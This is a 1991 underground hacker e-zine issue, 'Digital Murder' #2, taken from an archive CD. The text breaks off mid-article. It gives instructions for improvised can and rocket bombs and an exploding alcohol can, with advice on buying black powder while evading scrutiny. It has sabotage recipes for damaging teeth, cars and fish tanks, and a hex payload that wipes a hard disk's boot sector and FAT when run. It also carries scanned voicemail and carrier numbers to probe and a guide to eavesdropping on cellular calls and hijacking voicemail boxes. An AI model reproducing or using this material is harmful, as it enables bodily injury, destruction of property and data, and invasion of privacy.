home *** CD-ROM | disk | FTP | other *** search
/ Group 42-Sells Out! - The Information Archive / Group 42 Sells Out (Group 42) (1996).iso / anarchy / dm / dm-02.txt < prev    next >
Text File  |  1995-11-30  |  47KB  |  1,129 lines

  1.   
  2.        ///  / ///  / /////  //  /       //    // // // ///   ///  ////  ///
  3.       /  / / /__  /   /   /  / /       ///  /// // // /  /  /  / /     /  /
  4.      /  / / /  / /   /   //// /       // // // // // ///   /  / /''   ///
  5.     ///  / //// /   /   /  / /////   //    // ///// //  \ ///  ///// //  \
  6.  
  7.  
  8.  
  9.               A Magazine for Cyberpunks and Other Hi-Tech Low-Lifes
  10.                                  
  11.  
  12.                Issue No. 02                        November '91
  13.  
  14.  
  15.  
  16.           -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  17.  
  18.             These filez are for educational and informational studies
  19.             only.  The writers for Digital Murder will not be responsible
  20.             for any use or misuse of information published in this
  21.             disk-based magazine.  The magazine and its contents are
  22.             free to the public and may be freely distributed in any
  23.             form as long as Digital Murder magazine and the author
  24.             is given credit.  
  25.  
  26.           -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  27.  
  28.  
  29.                               Information is Power.
  30.  
  31.   
  32.   
  33.                            E d i t o r ' s   N o t e z
  34.                           -=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  35.  
  36.          Here it is!  Issue #2 of Digital Murder released, slightly
  37.          late,  November 25th, 1991.  It'z been hell getting everyone
  38.          motivated enough to continue a monthly 'zine but, as you can
  39.          see, it was done.
  40.  
  41.          We got a lot of positive responses from readers and have heard
  42.          that issue #1 hit 35 or so boards in the United Socialist Republic
  43.          of America and a few boards overseas (Sweden, Switzerland, and
  44.          Holland).  Thanks goes out to those few that I asked to spread
  45.          the magazine and an even larger group that spread it without me
  46.          asking. . . you know who you are.  
  47.  
  48.          Since the idea of using a P.O. Box flopped due to no one sending
  49.          us mail to it, we have closed it.  If you were thinking about
  50.          sending us a letter, sorry.  We have plans on getting an internet
  51.          address as soon as I decide where to get it.  As well as the 
  52.          internet address, we plan to start a usenet newsgroup.  We will
  53.          put a complete list of addresses to reach us at in issue #3 which
  54.          will be out December 15th.  So until issue #3 comes out, call
  55.          The Backdoor at 901.386.6455 to leave comments, submit articles,
  56.          pick up the current or previous issue, etc.
  57.  
  58.                                           - M o r p h e u s / Editor.
  59.          ---------------------------------------------------------------
  60.           D i g i t a l   M u r d e r  -  -  -  Backdoor (901)/386.6455
  61.          --------A---D-a-n-g-e-r---K-u-l-t---P-r-o-d-u-c-t-i-o-n--------
  62.  
  63.  
  64.          pg#.               I N   T H I S   I S S U E
  65.          ----              ---------------------------
  66.            3       Anachy For Sale---Neuron God & Mystic Blade's
  67.                    guide to destruction.
  68.                    
  69.            6       Virus in My Soup!---Digital Terrorist brings
  70.                    you more virus phun.
  71.                    
  72.            8       Virtual Networks---General/Technical file on a
  73.                    few fone networks.  
  74.                    
  75.           11       Scan 'O De Month---Zapped brings another great
  76.                    scan for your enjoyment.
  77.                    
  78.           12       Cellular Freqing---Eavesdropping on Cellular
  79.                    calls with modified scanners.
  80.                    
  81.           14       Action Systems Fone Network Info by Technysis
  82.                    
  83.           16       Heaven's Trash---Final words from Morpheus.
  84.  
  85.          -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  86.  
  87.  
  88.  
  89.  
  90.  
  91.  
  92.  
  93.  
  94.  
  95.   
  96.                                                                           3
  97.                                                                            
  98.  
  99.                     - = A N A R C H Y   F O R   S A L E = -
  100.                      By: Neuron God/INFOword/Danger Kult
  101.  
  102.  
  103.  
  104.     Sticky Coolwhip
  105.     ---------------
  106.     
  107.     This first project involves three substances; Vinegar, Milk
  108.     (whole), and Cool Whip.
  109.  
  110.     Heat the milk in a pot until it comes to a VERY  low  boil.
  111.     Add vinegar until it  separates.  The  solids  are  CASEIN.
  112.     Heard of it before??  heheh.. yeah, that's  the  shit  they
  113.     used to use for superglue.  Now, all you have to do is make
  114.     a good amount of this and  mix it  with  Cool Whip.  You'll
  115.     have a fluffy white mixture which puffs up very nicely  and
  116.     is sticky as hell.
  117.  
  118.     Possible uses:
  119.                    Cake topping.  Fucks up dentures
  120.                    (and regular teeth)
  121.  
  122.                    Cover for keyhole on car.. (guess)
  123.  
  124.                    Car design solvent.  Munches the paint
  125.                    right off.
  126.  
  127.     Try freezing it.  If you've whipped it up enough, it should
  128.     be fairly liquified and will run easily.  Freezing it  will
  129.     give you a substance similar to a Jell-O pudding shit.  Try
  130.     adding food coloring and putting it on a stick.. will taste
  131.     like milk that's slightly older than God.
  132.  
  133.  
  134.  
  135.     Phun With Coke Cans
  136.     -------------------
  137.  
  138.     Hell, you could use any kind of can for these as long as ya
  139.     drain it, wash it, and let it dry WELL.  
  140.  
  141.     For this first project, you'll need to cut the  bottom  off
  142.     of one of the cans.  Really old  scissors  that  are  still
  143.     fairly sharp (and which won't be missed by, say, the  local
  144.     store) are good for cutting cans since  they  cut  straight
  145.     and quickly.  Cut the bottom off with about 1 inch of  thin
  146.     metal left to make a cup-looking thing.  Take the  scissors
  147.     and at about 1 quarter inch margins (one centimeter for the
  148.     Euros, I know it's not equivalent, but it doesn't  matter),
  149.     cut down the sides about  another  quarter inch.  Bend  the
  150.     flaps down to keep from getting cut  while  you  work  with
  151.     this thing.  If you have soldering experience,  solder  the
  152.     flaps to the inside of the can just to make sure (this also
  153.     makes it easier to use in other projects).
  154.  
  155.  
  156.  
  157.  
  158.  
  159.  
  160.  
  161.  
  162.                                                                           4
  163.  
  164.  
  165.     You can make a lot of these now if you  want  because  they
  166.     will be the most-used part of the cans.  Don't  throw  away
  167.     the top part yet because the sheetmetal-type  aluminum  can
  168.     be used to make some AWESOME 'noisemakers'!! 
  169.  
  170.     Now that you have a few of these prepared, obtain some black
  171.     gunpowder.  This is sold at some weapons  shops  (especially
  172.     those which specialize in Black-Powder  or  antique-interest
  173.     weapons, or which carry  shell  packing  materials  for  the
  174.     rabid hunter who likes to repack shells). You should be able
  175.     to get this without any permits but if you buy it in excess,
  176.     questions will be asked.  To  be  safe, either  buy  packing
  177.     materials (which can also be useful if you're  the  creative
  178.     type) or buy from different stores around the area, rotating
  179.     your supplier every week.
  180.  
  181.     We can now begin on our first 'device'.  In  model  rocketry
  182.     hobby section of your local hobby store there are  specially
  183.     made engines and ignitors for these  engines.  They  can  be
  184.     used for our purposes seperately or together, so get  a  few
  185.     of them.  The ignitors are electricity-based flamers and You
  186.     will need some source of electricity (about 2-3 AA batteries
  187.     should do the trick) and some  LONG  wires  to  connect  the
  188.     flamer to the source.  Some Scotch tape (or any clear, light
  189.     weight tape) is needed to hold  the  flamers  in  place.  In
  190.     this project, you need to cut out some  of  the  scrap-metal
  191.     from the long  upper  part  of  the  cans.  One  can  should
  192.     provide at least enough for two of these devices.  Cut  just
  193.     enough of the sheet metal out to totally encircle a  medium-
  194.     powered rocket  engine  (I  like  the  A8-3  single  stagers
  195.     myself).  The engine should be large  enough  to  carry  the
  196.     weight of the metal.  When you have the  metal  cut  to  the
  197.     proper size, move the engine FAR away and solder  the  metal
  198.     into a cone.  Cut a small circle of metal just big enough to
  199.     cover one end of the cylinder and solder it  in  place.  Let
  200.     this cool OVERNIGHT just to be safe.  The engine should  now
  201.     slide into and out of the  container  easily.  Depending  on
  202.     what type of thing you want to  make, follow  the  remaining
  203.     instructions:
  204.  
  205.     1: Bomb-- To make a bomb out of this, cut another  circle  out
  206.               of the metal as though you were going  to  plug  the
  207.               second end up as well.  Cut one side of this  circle
  208.               just enough so that the igniter and wires can  still
  209.               fit correctly to the engine.  Plug the  empty  space
  210.               with something which is light but flammable, such as
  211.               toilet paper or paper towels but not too  tight.  If
  212.               you're too nervous to solder the  second  cover  on,
  213.               use something like superglue or epoxy.
  214.  
  215.     2: Rocket/bomb--  The same as above, except that you can  pack
  216.               some explosive substance at the closed  end  of  the
  217.               container, then some toilet tissue or  Kleenex  (not
  218.               very much on this one though), then the engine.  The
  219.               engine must be superglued in just at the  bottom  of
  220.               the tube where the rocket end is exposed so lift can
  221.               be achieved. 
  222.  
  223.  
  224.  
  225.  
  226.  
  227.  
  228.                                                                           5
  229.  
  230.  
  231.               It is  advised  that  you  put  controlling
  232.               surfaces on your rocket so it will be a little  more
  233.               predictable.  Use light tape on  the  flamer  so  it
  234.               will easily release when the  rocket  lifts  off.  I
  235.               strongly recomend using some sort of launch guidance
  236.               system, such as a part of a drinking straw glued  to
  237.               the outside of the rocket and then set onto a  metal
  238.               dowell that will keep it flying straight until  it's
  239.               at a safe height.
  240.  
  241.               When the rocket reaches its top flight, it will send
  242.               out a small explosion  at  the top which will ignite
  243.               whatever you pack up there.
  244.  
  245.               The rocket works best with  custom-designed  rockets
  246.               from your hobby store, with some slight modifications,
  247.               such as an addition of the  explosive instead of a
  248.               parachute or streamer. 
  249.          
  250.               The rockets may take a few  seconds/minutes
  251.               to ignite, since some  flamers  aren't  as  good  as
  252.               others.  If you make a heavy rocket, use as  big  an
  253.               engine as it needs (you'll learn by experiment).
  254.  
  255.     Cans can also be used to make great alcohol lamps, ovens, or
  256.     bombs.  Get a flamer from the previous projects, some  dena-
  257.     tured alcohol (6xx proof!!! don't drink it!!) and  some  can
  258.     bottoms.  Drill a hole in one can bottom big enough to  work
  259.     with, but not so big as to be unpluggable.  Solder this  one
  260.     to an unmodified can bottom to make  a  container  with  two
  261.     bottoms.  The hole should be in the center of the bottom  of
  262.     one of the  cans.  Pour  the  alchohol  into  the  container
  263.     slowly through the drilled hole until it is about 3/4  full.
  264.     Put a flamer in the hole so that it just barely touches  the
  265.     alcohol.  Tape this sucker  up  good  and  superglue  it  if
  266.     possible.  The flamer should ignite the  alcohol  which  has
  267.     just enough air to burn  good,  and  the  cans  will  either
  268.     implode or explode depending on whether the  alcohol  cathes 
  269.     fire good or not.  It may just use up some of the oxygen and
  270.     create a partial  vaccum,  or  it  may  explode  and  spread
  271.     burning alcohol quite a distance.
  272.  
  273.     A full can of a carbonated drink can be fun, too.  Shake  it
  274.     up, roll it around, throw it up in the air (if you throw  it        
  275.     really high, catch it.  If not, let it hit the ground).  Try
  276.     putting it over a LOW flame on a grill.  When it  starts  to
  277.     bulge, remove it.  After doing any/all of these things, take
  278.     it to a tall building with a stairway.  If it is  like  most
  279.     stairways, there will be some space in the center where this
  280.     can be dropped.  With the combination of the pressure inside
  281.     the can and the force of it  falling,  the  impact  will  be 
  282.     quite messy (and if not found for a few days, sticky, smelly
  283.     and hazardous to the new paint job too...   heheh..)  It  is
  284.     hell to clean up.. just try to get the can to add that extra
  285.     touch to the question "What the Hell happened here?"    They
  286.     won't even know where to begin asking questions...
  287.  
  288.  
  289.  
  290.  
  291.  
  292.  
  293.  
  294.                                                                           6
  295.  
  296.  
  297.     All of these ideas can be expanded upon, modified,  or  just
  298.     plain used in unusual ways.  Remember,  always  be  creative
  299.     with your methods of destruction...  NG '91 -- InFOWOrd/ DK.
  300.  
  301.  
  302.     Awful Magic Powder - by: Mystic Blade!
  303.     ------------------
  304.     
  305.     Needed
  306.     ------
  307.             * 6 or 7 cans of Arid Extra Dry spray.
  308.             * 1 closet size mirror
  309.               * Note * You can scale this done to just a bathroom
  310.               mirror or any flat smooth surface. 
  311.  
  312.     Spray the surface of the mirror until completey solid white.
  313.  
  314.     Let it set and dry for the next 24 hrs. then scrape of the
  315.     residue.  Do this until all the Arid is gone.  You now have what's
  316.     known as Great awful magic powder.
  317.  
  318.  
  319.     One ounce of this powder per automobile gas tank will screw up an
  320.     engine.
  321.  
  322.     A single teaspoon will kill off a 10 gallon fish tank and all the fish.
  323.     
  324.     Till fun is fun....Im outta here!  *Mystic Blade*
  325.  
  326.  
  327.  
  328.                               /\/\/\/\/\/\/\/\/\/\
  329.                                An Algebra of Evil
  330.                               \/\/\/\/\/\/\/\/\/\/
  331.                               More Virus Info from
  332.                                Digital Terrorist!
  333.  
  334.     More Hard Drive Phun!
  335.     -=-=-=-=-=-=-=-=-=-=-
  336.  
  337.          Hey,  you  anarchists  trying  to learn something, This is for
  338.     you!  I just thought you might find it interesting...
  339.  
  340.     Do you know that you can destroy a hard disk by writing 18 bytes
  341.     to the end of an EXE file (you can do it with 14 but I'll just do
  342.     this for the sake of simplicity).
  343.  
  344.     Ok, to use this look for the last occurence of CD 21 (or m! in ascii)
  345.     with some type of hex/ascii editing program.  Once you have found it,
  346.     insert these hex codes after that last CD 21.  Be careful...  Don't
  347.     run this program after you have "fixed" it unless you want to re-
  348.     format your HD.  Here goes...
  349.  
  350.  
  351.  
  352.  
  353.  
  354.  
  355.  
  356.  
  357.  
  358.  
  359.  
  360.                                                                           7
  361.  
  362.  
  363.     (insert these bytes of hex code in after the final m! [CD 21].
  364.     Notice that the m is ascii 205 not an equal sign (=).)
  365.  
  366.     B4 03
  367.     B0 C8
  368.     B5 00
  369.     B1 01
  370.     B6 00
  371.     B2 02    (the 02 stands for the C drive.  You can specify 00 for
  372.               A drive, or 01 for B drive, etc...   This is the drive
  373.               that you want to destroy.)
  374.     CD 13
  375.     B4 4C
  376.     CD 21
  377.   
  378.     Well, that's pretty much it.  Viruses are made in a way such as
  379.     that the virus takes code such as this and manually inserts  it
  380.     into an EXE or COM file along with the code  that  it  has  for
  381.     self replication.  Also, notice that this code is made to write
  382.     over the boot, FAT, and root directory sectors  with  just  any
  383.     ole' address out of memory...  ( whatever is in the DS  and  DX
  384.     registers at the time ).  Note that you can  also  insert  your 
  385.     code BEFORE the last CD 21 by inserting it two bytes before the
  386.     last CD 21 (those two bytes in fact should be B4 4C).  Once you
  387.     do that, you can cut this code down to 14 bytes by  eliminating
  388.     the final four bytes (B4 4C CD 21).
  389.  
  390.     File Phun
  391.     -=-=-=-=-
  392.  
  393.     Scanning files in directories, and changing the entry of the
  394.     "starting cluster" and the file size.  By  changing, I  mean
  395.     swapping with other files so, therefore, if you once had  an
  396.     EXE file called READTHG.EXE and some other files, you  would
  397.     mysteriously find that READTHG.EXE contained another EXE,  a
  398.     data file, or a text file.
  399.  
  400.     How do you do it?  No problemo...  First you ascertain  info
  401.     from the boot sector on where the  FAT  and  root  directory
  402.     sector are located which will be explained later.  Then  you
  403.     pick out the root directory sector.  Filename entries  in  a
  404.     directory sector are stored as such:
  405.  
  406.       [ Filename- 11 bytes no period!] [Attribute- 1 byte]
  407.         XX XX XX XX XX XX XX XX XX XX XX XX
  408.  
  409.         [Reserved by MS-DOS- 10 bytes] [Time/Date stamp- 4 bytes]
  410.         XX XX XX XX XX XX XX XX XX XX  [Time]  [Date]
  411.                                        XX XX   XX XX
  412.  
  413.         [Starting Cluster- 2 bytes]  [File Size- 4 bytes]
  414.         XX XX                        XX XX XX XX
  415.  
  416.         Notice that the XX's are hexadecimal numbers.
  417.  
  418.  
  419.  
  420.  
  421.  
  422.  
  423.  
  424.  
  425.  
  426.                                                                           8
  427.  
  428.  
  429.         1.  Filename is padded with spaces between the first eight and
  430.             the last 2. ie HELLO  DOC... It MUST be padded with spaces
  431.             if it is to be used.
  432.  
  433.         2.  Attribute: 
  434.                       Read Only-    hex 01
  435.                          Hidden-    hex 02
  436.                         Archive-    hex 20
  437.                    Subdirectory-    hex 10
  438.                    Volume Label-    hex 08
  439.                          System-    hex 04
  440.  
  441.         When these attributes are combined (say read only and hidden),
  442.         they produce hex 03, or the sum of their numbers.
  443.  
  444.         3. Time/Date stamp will almost ALWAYS be irrelevant to a good
  445.            anarchist.
  446.  
  447.         4. Starting Cluster- this is the cluster where the file  starts.
  448.            DOS reads the FAT chain and determines where ALL of that file
  449.            is but if this and file size are swapped  with  other  files, 
  450.            pandemonium will break lose.
  451.  
  452.         5. File Size- this is represented by a 4 byte binary number, the
  453.            rightmost digit being most signifigant.
  454.  
  455.         Well, that should pretty much give you plenty of information  to
  456.         do that nice little thing, or plenty of other things.
  457.  
  458.  
  459.  
  460.  
  461.                            Virtual Telephone Networks 
  462.                             General/Technical Outline
  463.                         Written and compiled by Morpheus.
  464.                        -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  465.                        
  466.  
  467.          This technical journal on Telephone Networks has been
  468.     compiled to introduce the basics of them to  newer  phreakers
  469.     yet does contain a lot of information that will interest  the
  470.     more advanced reader.
  471.  
  472.  
  473.     History of Virtual Networks
  474.     =-=-=-=-=-=-=-=-=-=-=-=-=-=
  475.  
  476.     To be honest, virtual networks are nothing new since many LDS
  477.     companies, such as AT&T, MCI, and Sprint, have been  offering
  478.     them since 1985.
  479.  
  480.     ISACOMM (now US Sprint) was the first to introduce a  virtual
  481.     network  service,  using  Satellite  Business  Systems  (SBS)
  482.     satellites as early as '84.  SBS acted as the  carrier  while
  483.     ISACOMM  was  responsible  for  promoting  and  managing  the
  484.     service.
  485.  
  486.  
  487.  
  488.  
  489.  
  490.  
  491.  
  492.                                                                           9
  493.  
  494.  
  495.     SBS introduced it's own network in early '85  and  was  later
  496.     bought by MCI.
  497.  
  498.     Also in 1985, US Telecom redifined ISACOMM  as  VPN  (Virtual
  499.     Private Network) which is now the base for Sprint.  Later on,
  500.     AT&T introduced its Software Defined Network (SDN) product.
  501.     
  502.  
  503.     AT&T's  SDN
  504.     =-=-=-=-=-=
  505.  
  506.     When a user picks up his phone at an  on-net,  dedicated  SDN
  507.     site and dials a number, the dialed digits are  sent  to  the
  508.     serving AT&T SDN office through the local network.  This  SDN
  509.     office receives the dialed digits, and notes the  originating
  510.     number via ANI (Automatic Number Identification).  This  info
  511.     is passed to the ACP (Action Control Point), which will  then
  512.     check the NCP network database for  routing  and  translation
  513.     information based on the ANI of the user.  After the check is
  514.     complete, the NCP returns appropriate routing information  to
  515.     the ACP, which encodes a billing record  and  send  the  call
  516.     through the network.
  517.  
  518.     AT&T  has  marketed  many  special  features  with  SDN.  For
  519.     example, when the NCP receives the call information from  the
  520.     originater of the call, it can screen the call  according  to
  521.     a set of valid originating numbers to see if the call is even
  522.     allowed to be sent through the network.  It can also be setup
  523.     to request an authorization code to validate  calling  privs.
  524.     It can prompt certain screened calls with preprogrammed  ann-
  525.     ouncements to provide options for routing.
  526.  
  527.     Off-net calls follow a similar procedure in which the user of
  528.     the SDN dials an off-net access number (800- or 950-) or  can
  529.     access the network through switched  equal  access.  In  this
  530.     case, the dialed digits and any code entered are screened and
  531.     sent to the ACP, and then gets instructions from the NCP.
  532.  
  533.     Whenever announcements are required, they are sent  from  the
  534.     Network Services Complex (NSC).  Thus, if the network were to
  535.     ask for an authorization code, the message would be sent from
  536.     the NSC.
  537.  
  538.     Map of SDN:
  539.     ----------                     Features
  540.                SDNCC               --------
  541.            SMS     --\--              !! 
  542.            -\-        \    +----------!!--------------+
  543.              \         >-->!-->-->->+-!!--+        A L!
  544.               \            !        ! NCP !        T D!
  545.                >-->-->-->-->-->-->->! --- !   NSC  & N!
  546.                            !        /-----\   /    T  !
  547.                            !       /       \ /        !
  548.                            !     ACP       ACP        !
  549.                            +-----/----------\---------+
  550.                                 /            \
  551.                            SDN Dialup     SDN Dialup
  552.  
  553.  
  554.  
  555.  
  556.  
  557.  
  558.                                                                          10
  559.  
  560.  
  561.     MCI's  VNET
  562.     =-=-=-=-=-=
  563.  
  564.     This network uses three types of switches:  1) Northern Tele-
  565.     com DMS-250, 2) DEX 400, and 3) DEX 600 by Digital Switch Co.
  566.     MCI uses SS7 (signal system 7) on all of  their  intermachine
  567.     trunks.
  568.  
  569.     When a user picks up the phone and calls the  dialup,  it  is
  570.     connected into the MCI Vnet network similarly to SDN by AT&T.
  571.     The routing of a Vnet call  starts  with  a  request  from  a
  572.     digital switch to the Network Control System (NCS) for  route
  573.     information.  This request travels through one  of  the  Data
  574.     Access Points and then the NCS checks the customer's database
  575.     for routing information, call privileges, etc. and sends that
  576.     information back to the switch, again through the DAP.  After
  577.     all this, the call is sent through.
  578.  
  579.     Map of Vnet:
  580.     -----------
  581.     Dial '1' or Vnet Card Access            Calling thru Dialup
  582.     ------------!!!-------------            --------!!!--------
  583.                 !!!                                 !!!
  584.      (Telco C.O. switches call)    (Telco CO doesn't switch call)
  585.                 !!!                                 !!!
  586.          +--------------------+           +--------------------+
  587.       /<-- MCI Network Access !-----------! MCI Network Access -->\
  588.       !  +--------------------+           +--------------------+  !
  589.       !         !!!                                 !!!           !
  590.       !         !!!                                 !!!           !
  591.       \      MCI Switch                          MCI Switch      /
  592.        \                   +----------------+                   /
  593.         >-->-->-->-( DAP )-!     N.C.S.     !-( DAP )-<--<--<--<
  594.                            +----------------+
  595.  
  596.  
  597.     US Sprint's VPN
  598.     =-=-=-=-=-=-=-=
  599.  
  600.     US Sprint uses 100% fiber optic networking and uses powerful
  601.     Northern Telecom DMS-250 switches linked by SS7, with DMS300
  602.     switches as international gateways.
  603.  
  604.     When a US Sprint VPN user picks up the phone, dials a  local
  605.     VPN system, and calls through it, the call is  forwarded  to
  606.     a serving point.  That switch, through its Message  Switch &
  607.     Buffer (MSB) signaling point, sends a routing request to the
  608.     nearest Signal Transfer Point (STP).  The STP passes the re-
  609.     quest to the Database Control Point  (DCP)  for  processing.
  610.     After checking the customer's database account, the info  is
  611.     sent back to the MSB.  The call is then sent through.
  612.  
  613.  
  614.  
  615.  
  616.  
  617.  
  618.  
  619.  
  620.  
  621.  
  622.  
  623.  
  624.                                                                          11
  625.  
  626.  
  627.                      -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  628.                       Digital Murder Scan 'o' de Month! 
  629.                      -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  630.           
  631.     Zapped here with another scan for all of you phone
  632.     junkies out there.  This scan, as you will see below, is of
  633.     the 233 prefix.  If you missed last month's article, it was
  634.     on the 336 prefix.  Get in touch with us. . . we have all
  635.     back issues on file.
  636.  
  637.     Prefix owned by:  AT&T
  638.  
  639.     Voice Mail Systems
  640.     ------------------
  641.     1-800-233-0010  After Business Hrs VMB
  642.     1-800-233-0065  Methodist Hospital--listen or hit 0.
  643.     1-800-233-0214  Knoll Sue's VMB--listen for menu.
  644.     1-800-233-0316  * + 4 digit boxes.
  645.     1-800-233-0407  First Trust---
  646.     1-800-233-0567  Corum 'Hell'--* or #.
  647.     1-800-233-0618  experiment with--uses 'numeric messages'
  648.     1-800-233-0713  Datanational-- *
  649.     1-800-233-0995  Griffen Services-- #  3 digit boxes
  650.     1-800-233-1000  Audix VMB
  651.     1-800-233-1106  * -- 3 digit boxes
  652.     1-800-233-1304  Aetna - */#  4dig.boxes
  653.     1-800-233-1717  4dig.boxes
  654.     1-800-233-1808  3dig.boxes
  655.     1-800-233-1903  Beacon's NW--*/# (fairly easy)
  656.     1-800-233-2025  (currently using an old VMB sys.)
  657.     1-800-233-2119  Spectrum */#  3digboxes(excld.1,2)
  658.     1-800-233-2250  Credit and Leasing Corp.  
  659.     1-800-233-2331  Billing Dept of DTOM
  660.     1-800-233-2400  Am. Murex Corp.
  661.     1-800-233-2450  Armstrong---Dictation Service...interesting
  662.     1-800-233-2520  Interesting System...
  663.     1-800-233-2617  uses Audix--listen or hit *7
  664.     1-800-233-2875  */# 3digs.boxes
  665.     1-800-233-3029  Penox Tech.--*/#
  666.     1-800-233-3200  0+1 for VMB
  667.     1-800-233-3314  ?
  668.     1-800-233-3411  0+1 for VMB
  669.     1-800-233-4007  ?
  670.     1-800-233-4606  Bank of San Fran--haven't messed w/it
  671.     1-800-233-4800  #+* ...3dig boxes
  672.     1-800-233-5969  *+ext/# for VMB
  673.     1-800-233-6269  */#
  674.     1-800-233-6300  *+x (x=dig 0-9)
  675.     1-800-233-6789  */#
  676.     1-800-233-9069  alwayz busy...couldn't verify
  677.     1-800-233-9175  same as 9069
  678.     1-800-233-9325  same as 9069
  679.     1-800-233-9477  listen for menu
  680.     1-800-233-9575  same as 9069
  681.     1-800-233-9650  same as 9069
  682.  
  683.  
  684.  
  685.  
  686.  
  687.  
  688.  
  689.  
  690.                                                                          12
  691.  
  692.  
  693.     Carriers
  694.     --------
  695.     1-800-233-0037 (expected hello,:job,:data,or(cmd),as logon.(cierr 1402)
  696.     1-800-233-0692 (<<please enter logon>>)
  697.     1-800-233-0887
  698.     1-800-233-1217 (wierd pulse then carrier and kicks off line)
  699.     1-800-233-2921 (???)
  700.     1-800-233-4224 (performance 200 emulex)
  701.     1-800-233-4700 (towers perrin online -- phila  --press enter)
  702.     1-800-233-5315 (gives > prompt)
  703.  
  704.     PBXs/etc
  705.     --------
  706.     1-800-233-1925
  707.     1-800-233-3750
  708.  
  709.  
  710.     Fax's & Misc.
  711.     -------------
  712.     1-800-233-0180
  713.     1-800-233-0904
  714.     1-800-233-1210
  715.     1-800-233-2180
  716.     1-800-233-2850
  717.     1-800-233-3504
  718.     1-800-233-4479
  719.     1-800-233-5169
  720.     1-800-233-5170
  721.     1-800-233-6150
  722.  
  723.  
  724.     Thats it for this month so be watching next time for more
  725.     and hopefully more interesting numbers to play around with
  726.     so until then Ive been. . . .  Zapped!
  727.  
  728.  
  729.  
  730.          -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  731.                       Scanning for Phun and Information.
  732.                                  By: Chizz
  733.          -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  734.  
  735.     Scanners are wonderful toys.  They allow us to listen to info
  736.     that otherwise would be impossible to hear.  Everyone has heard
  737.     of using scanners to listen in on police and fire, but that gets
  738.     old after a while.  One can only hear so much of police calling
  739.     in stating that they are going on a doughnut break.  Now there is
  740.     a use for a scanner that is much more interesting, not to mention
  741.     fun: listening in on cordless phones and cellular phones.
  742.     One day, blackened buffered a post off of a board that listed the
  743.     10 cellular frequencies.  There are 10 for the base and 10 for
  744.     the handset.  The base frequencies are the most powerful, there-
  745.     fore these are the ones that should be put into the scanner.  I
  746.     did not except much while i reluctantly inputed the frequencies
  747.     but after I fired up and started scanning, I could not believe
  748.     my ears.  
  749.  
  750.  
  751.  
  752.  
  753.  
  754.  
  755.  
  756.                                                                          13
  757.  
  758.  
  759.     Picking up my neighbors is really quite interesting.  I have
  760.     heard everything from a woman's daughter being pregnant to a
  761.     couple owing 10,000 dollars in back taxes, and their unhappiness.
  762.     It is so easy to pick up these cordless phones that it is funny.
  763.     
  764.     Cordless phones can be picked up by any programmable scanner such
  765.     as the $139.00 Radio-Shack pro-38, 10 channel programmable.
  766.     Below is a list of the cordless phone frequencies:
  767.  
  768.            Channel                  Base                      Handset
  769.               1                    46.610                     49.670
  770.               2                    46.630                     49.845 
  771.               3                    46.670                     49.860 
  772.               4                    46.710                     49.770
  773.               5                    46.730                     49.875  
  774.               6                    46.770                     49.830 
  775.               7                    46.830                     49.890
  776.               8                    46.870                     49.930 
  777.               9                    46.930                     49.990
  778.              10                    46.970                     46.970 
  779.  
  780.     Now onto the more interesting and lively world of cellular
  781.     phones.  You must have a scanner that is 800 megahertz capable.
  782.     My personal choice is a realistic pro-34.  This is a hand-held
  783.     model that has 200 channels, built in backlit lcd, and 10 
  784.     channel temporary storage, for an effective capacity of 210
  785.     channels.  This scanner runs for about $300 bux but I bought
  786.     mine at a pawn      shop for $120.  The true cellular band is from
  787.     869.0000 mhz to 894.000 mhz.  For some reason the powers that
  788.     be convinetly omit the cellular band, instead, stopping at
  789.     868.9375 and resuming at 896.1125 on the pro-34.  If you are
  790.     happy listening to "mobile" phones, more appropriately known
  791.     as two way radios, that operate in the 800 mhz band then a
  792.     "stock" scanner is fine but if you are like me, that's just
  793.     not enough.
  794.  
  795.     I was looking through a copy of radio-electronics one day and
  796.     noticed that there was a scanner BBS.  I called this bbs and
  797.     downloaded a text file that contained the steps to modify a
  798.     pro-34 for true cellular capabilities.  There is not room here
  799.     to go into how to modify the scanner but call the Red Onion BBS
  800.     at (914) 342-4585 to get the file for this scanner or any other
  801.     scanner (they have files for all popular scanners).  After making
  802.     the modifications, you can start the search scan at 869.0000
  803.     to 894.0000. 
  804.  
  805.     If you live a large city, the cellular band is active at all times.
  806.     I have listened to calls with subjects such as drug deals,
  807.     prostitution, people growing their own dope, and a lady talking
  808.     about using dildos.  One particully funny moment was when this one
  809.     guy got into a fight with his girlfriend, went out and got drunk,
  810.     and on his way home he called up his girlfriend crying and moaning
  811.     and then he got pulled over for drunk driving.  It is also a
  812.  
  813.  
  814.  
  815.  
  816.  
  817.  
  818.  
  819.  
  820.  
  821.  
  822.                                                                          14 
  823.  
  824.  
  825.     good way to get information if you have a DTMF decoder.  A lot of
  826.     people that have cellular phones also have VMB's.  You can listen
  827.     in as they call their system and if you are familiar with the
  828.     system that they are on, you can call up and take over their box.
  829.  
  830.     If you think that this would be an interesting thing to do then
  831.     be sure to do it soon because in the next ten years or so all
  832.     cellular services will be switched from analog to digital making
  833.     it impossible for a conventional scanner to be able to decode the
  834.     conversations.  If you have any questions, or information that
  835.     you have found useful then please leave me mail on Digital murder's
  836.     WHQ, The Backdoor BBS at (901)/386-6455.
  837.  
  838.  
  839.  
  840.                           --------------------------------
  841.                          Disection of the ACTION Roadrunner
  842.                             Telephone Management system
  843.                           --------------------------------
  844.                                    By:Technysis
  845.  
  846.           This  series  of  artices  to  follow  has  taken  much time
  847.           and extensive coverage.   I  see  these  articles  as  truly
  848.           original material, as I went through personal connections to
  849.           get the information contained here.
  850.           
  851.          The following information was taken  from  various  technical
  852.          sources and other misc. information from a rural area here in
  853.          my state. I live in Memphis, which  is  under  ESS,  however,
  854.          where I was at, they were under some other older system.
  855.  
  856.          The  Action  Roadrunner  Telephone  Management  System  is  a
  857.          computer controlled routing,  tandem  switching  system.   As
